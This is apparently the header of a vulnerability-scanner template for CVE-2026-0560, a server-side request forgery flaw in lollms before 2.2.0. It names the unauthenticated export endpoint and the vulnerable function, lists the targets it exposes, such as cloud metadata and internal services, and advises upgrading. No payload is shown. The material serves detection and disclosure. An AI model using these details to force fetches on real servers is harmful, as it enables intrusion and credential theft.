LolLMS < 2.2.0 - Server-Side Request Forgery

id: CVE-2026-0560

info:
  name: LolLMS < 2.2.0 - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    A Server-Side Request Forgery (SSRF) vulnerability exists in parisneo/lollms versions prior to 2.2.0. The /api/files/export-content endpoint processes Markdown image URLs by downloading them via _download_image_to_temp() in backend/routers/files.py without any validation, allowing an unauthenticated attacker to supply arbitrary URLs (e.g. cloud metadata endpoints or internal services) that the server will fetch, enabling internal network access, cloud metadata access, information disclosure, port scanning, and potentially remote code execution.
  impact: |
    Attackers can access internal network services, cloud metadata, and potentially execute remote code.
  remediation: |
    Update to version 2.2.0 or later.
